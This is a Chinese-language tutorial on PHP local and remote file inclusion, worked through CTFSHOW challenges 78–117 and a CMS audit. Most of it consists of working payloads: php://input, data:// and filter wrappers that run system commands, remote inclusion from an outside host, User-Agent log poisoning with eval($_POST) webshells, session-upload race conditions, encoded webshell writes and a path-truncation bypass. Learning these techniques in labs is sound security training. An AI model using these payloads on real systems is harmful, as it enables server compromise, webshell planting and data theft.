#知识点:
1、解释-什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话(session)
4、利用-伪协议&编码&算法等
#核心知识:
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定(远程条件决定)
2、各类脚本语言包含代码写法-见下文
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include('test.php')?> //php
3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html
#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时
一、什么是文件包含
1、文件包含就是引用文件,目的是代码的共享
【例】:
# 1.php:
<?phpinfo();?>
# test2.php:
<?include('1.php');?> //包含的是文件的路径
test2.php包含了1.php,那么访问test2.php,就能实现执行phpinfo()的效果
http://127.0.0.1:8081/web/test2.php
比如,实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
1.每个需要过滤的地方,都进行一次过滤的编写;
2.每个需要过滤的地方,只需进行一次文件包含调用过滤函数(代码共享);
2、文件包含漏洞的原理
包含了这个文件,就会对包含的文件代码进行执行,如果包含的文件可控,那就可能形成漏洞
比如: 如果包含的是变量,如果x可控,我们就可以指定变量的内容,从而进行攻击
$file=$_GET['x'];
include($file);
文件包含攻击思路:
1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;(有上传文件的地方,上传有后门的文件)
2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码;(日志文件通过UA信息植入后门代码)
3.配合会话文件进行getshell;
解析:
本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去,
这个文件哪里来?
1. 有文件上传的地方,上传文件到对方服务器上(上传文件的地方有漏洞,直接就上传可执行文件;上传文件有过滤,上传非脚本格式的文件,比如图片);
2. 没有文件上传的地方,借助日志文件写入(修改User-agent)、session写入;
3. 利用伪协议,没有上传文件也能进行php代码的执行,可以读文件,写文件(同时可以进行编码算法的转换)
伪协议包含的条件:
① 各种某种伪协议的开关需要打开;
② 包含的文件路径不能有前后缀
$file=$_GET['x']; //?x=index.php (x参数的值=文件名的),可以尝试修改文件名
include($file); //前后不能指定,否则伪协议失效,比如include('x/'.$file); 或者 include($file.'php');
黑盒发现:
主要观察参数传递的数据和文件名是否对应
比如:
$file=$_GET['x']; //?x=index.php (x参数的值=文件名的),可以尝试修改文件名
include($file);
二、文件包含案例
CTF应用-CTFSHOW-78关卡到117关卡
1、78关
代码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
(1)查看代码,属于文件包含,而且是参数可控,但没有找到文件上传的地方,也不知道可包含的对方的文件路径,
(2)一般是包含日志或者包含伪协议
#常见语言伪协议:
# PHP伪协议:
PHP伪协议(PHP Wrapper)是一种在PHP中用于访问和操作不同数据源的特殊URL语法。它们不是实际的网络协议,而是PHP内部实现的一种机制,允许开发者通过统一的接口来读取或写入不同的数据流,如本地文件、HTTP请求体、压缩文件等。
(3) 尝试包含伪协议,进行访问
① 尝试file协议
http://xxx/?file=file://flag.php //失败,file协议需要具体的文件路径
② 尝试php协议
http://xxx/?file=php://input
其中,POST data:
<?php phpinfo();?>
③ 页面显示phpinfo的信息,说明可以执行代码
④ post data 改为 <?php system(ls);?>
查询到当前目录下的文件(查询到文件flag.php)
⑤ post data 改为 <?php system('tac flag.php');?> 进行文件的读取
读取到flag的值
⑥ 知道文件路径后,也可以用filter协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的编码进行解码后得到flag
filter协议 payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
input协议payload:?file=php://input post data:<?php system('tac flag.php');?>
data协议payload:?file=data://text/plain,<?php system('tac flag.php');?>
http协议payload: ?file=http://47.94.236.117/1.txt 1.txt:<?php system('tac flag.php');?> //如果1.txt写了后门代码,就可以连上shell
http协议的远程包含和本地包含,具体形成原因由代码和环境配置文件决定
远程包含需要allow_url_fopen和allow_url_include都为On。
允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。 CTF中通常用于远程包含。
2、79关
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了有file和php关键字的协议,尝试data、http等协议,
payload: ?file=data://text/plain,<?=system('tac flag.*');?> //flag.php用flag.* 代替
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
远程文件包含:如果不支持,那就只能支持本地的。
条件:
allow_url_fopen:on
allow_url_include:on
在代码也有相关限制。
3、80关,81关
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
① 过滤了php,data
② 尝试http,也被禁用了(禁用了文件包含);还有file协议,但是file、zip等协议是需要加文件的绝对路径;
即使知道知道文件的路径,由于查看的文件名是flag.php,有php的关键字,这样的文件名也不能用*代替
(之前能用*号代替是因为他调用系统命令,比如system('tac flag.*') 路径上的文件名字如果flag.*,那么系统就会认为他是flag.*)
③ 伪协议无法包含,那么可以尝试包含日志文件,查看请求发现,中间件是Nginx
在网上查看Nginx的日志文件默认为/var/log/nginx/access.log
④ 尝试payload:http://xxx/?file=/var/log/nginx/access.log
成功读取到文件(可以包含日志文件):
右键 - 查看网页源代码:
⑤ 由于日志信息记录了访问者的UA信息等,尝试修改UA信息
抓包,修改UA信息,
修改为:<?php system('cat fl0g.php');?> //文件名变了,前一步查询到文件名
重新发包,查看源代码(日志),拿到flag
4、81关
过滤php、data、冒号
① 测试日志文件是否可以包含
可以包含日志文件(日志文件没有冒号):
② 抓包,修改User-Agent
修改为:<?php system('ls');?> ,查看当前目录下的文件
查看源代码:目标文件为fl0g.php
③ 继续修改user-agent 为:<?php system( 'tac fl0g.php');?>,查看fl0g.php,文件的内容
④重新发包,查看源代码,拿到flag
5、82-86关
文件包含:配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;
本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
1.可以通过文件上传获取,上传的文件在服务器上面。
2.没有文件上传,借助日志写入(UA),session文件写入
3.伪协议没有文件上传也能进行PHP代码执行
(1)session包含
参考:https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
在不同环境下session存储的目录如下:
phpstudy:存储在D:\phpstudy_pro\Extensions\tmp\tmp,这里有很多文件以sess_开头的文件名
linux:存储在/tmp或者/var/lib/php/session
Windows:存储在C:\WINDOWS\Temp
所以session存储的文件是固定路径,如果知道了这个路径,那么就可以用包含session文件来实现getshell
有session的网站,当你访问时,网站就会记录会话,即session,比如phpstudy保存session到/Extensions/tmp/tmp, 每个用户都会有一个会话文件
在自己本地构造一个upload文件,后缀为html
# upload.html
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1:8085/book/include.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
#include.php
<?php $file=$_GET['filename']; include($file); ?>
选择一个文件进行上传,然后到phpstudy_pro\Extensions\tmp\tmp存储session目录下观察session文件变化
发现每次访问(建立会话)就会产生session文件,一个用户一个session文件,虽然说sess_头固定,但是后面的字符串是随机的,
怎么才能知道后面的字符串是什么或者生成的字符串是可以控制的?
上传文件操作时抓包,发现数据包中PHPSESSID的值,与sess_后面的值一致,可以通过修改PHPSESSID来进行控制sess_的文件名
PHP特性:利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争来进行文件包含
PHP_SESSION_UPLOAD_PROGRESS:可以控制sess_生成的文件名称;
条件竞争:是因为session.upload_progress.cleanup = on,session文件很快会被自动删除,要在删除前让攻击操作成功
以POST的形式发包,随意上传一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
上传文件时,抓包,这里我们修改Cookie中PHPSESSID的值为flag ,PHP将会在服务器的session文件夹创建一个文件:tmp/tmp/sess_flag” ,并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下
参考:https://www.cnblogs.com/NPFS/p/13795170.html
(1)利用伪协议进行文件包含:
#include.php
$file=$_GET['filename'];
include($file);
# 1.txt
<?php phpinfo();?>
访问http://127.0.0.1:8081/web/include.php?filename=1.txt
成功读取到1.txt的内容
或者用php://filter
访问http://127.0.0.1:8081/web/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
也能读取到1.txt的内容
如果修改了include包含文件的路径:#include.php
$file=$_GET['filename'];
include(‘conn/’.$file); //包含指定目录conn/ 下的文件
如果还要包含,这样访问就可以http://127.0.0.1:8081/web/include.php?filename=../1.txt
但是这这一关不能用伪协议。伪协议不包含的文件路径不能有前后缀,伪协议会失效,所以需要用session包含文件
6、87关
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file); //过滤. ,
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); //对$file(文件路径)解码1次,然后通过post对content进行传参,利用content写入后门代码
}else{
highlight_file(__FILE__);
}
过滤了. ,那么http://xx/access.log 文件名有.,就不能包含了
发现代码中有urldecode解码的函数,
(1)利用base64编码:
因为代码中有1次解码操作,加上浏览器会自动进行URL解码1次,所以需要对URL地址进行2次编码
原地址:http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/?file=php://filter/write=convert.base64-decode/resource=123.php
① 对php://filter/write=convert.base64-decode/resource=123.php 进行第1次编码后,
第1次编码后如果直接去浏览器进行访问,浏览器会自动解码,得到的还是原来的地址,还是会被过滤
② 所以,再进行1次编码:
③ php://filter/write=convert.base64-decode/resource=123.php
content用base64进行写入,所以传入的值也要编码
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
前面要加aa,不然会报错,因为base64编码默认是四个比特字节一次。
访问123.php,psot提交a=phpinfo();
(2)利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php 也要经过两次编码
content=<?cuc riny($_CBFG[1]);?> //<?php eval($_POST[1]);?>用凯撒13加密以后
访问2.php,post提交1=phpinfo();
#写入后门代码
#查询flag
7、88关
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file); //不含上面的关键字就可以包含
}else{
highlight_file(__FILE__);
}
过滤了PHP及各种符号,考虑可以使用data伪协议,以及php后门代码用base64进行处理
① 尝试Payload:http://xxx/?file=data://text/plain;<?=system(tac flag);?> 访问后显示“error”,说明有过滤
② 对<?php system('ls');?> 进行base64编码,得到的编码值有+、=,也会被过滤
③ 继续尝试对<?php system('tac *.php');echo 123;?>ad 进行base64编码,编码值没有符号
④payload: http://xxx/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
获取到flag的值
8、117关
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
① 发现http、data、base64等加密算法、log、session等都被过滤,但是php没有被过滤
② convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
③ 在php工具平台,对后门代码进行处理:
https://tool.lu/coderunner
④ 用php伪协议,filter写入
Payload:http://xxx/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=x.php
contents=?<hp pvela$(P_SO[T]a;)>?
将x.php写入到对方服务器,内容是加密后的后门代码:
⑤ 访问x.php
四、CMS源码-XHCMS文件包含漏洞-代码审计&日志&绕过
1、搜索特定函数寻包含点
2、固定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定
① 查看源代码,搜索关键字“include”,说明可能存在文件包含的漏洞
② 发现index.php中包含的文件路径是有后缀的,所以不能用伪协议进行文件包含
③ 查看整个网站,没有找到文件上传的地方,所以不能用文件上传进行文件包含
④ 考虑包含日志文件或者session包含
⑤ 日志包含
找到日志文件的路径为:../../../Apache/logs/access.log
尝试执行:http://xx/index.php/?r=../../../Apache/logs/access.log,不能成功,因为access.log会被自动加上.php的后缀
⑥ 利用php低版本,利用长度限制绕过
Payload:
http://xx/index.php/?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
可以包含日志文件:
⑥ 抓包,将后门代码写到日志文件中
<?php eval($_POST[1]);?>
⑥ 利用漏洞
这个案例必须要利用php低版本5.x才行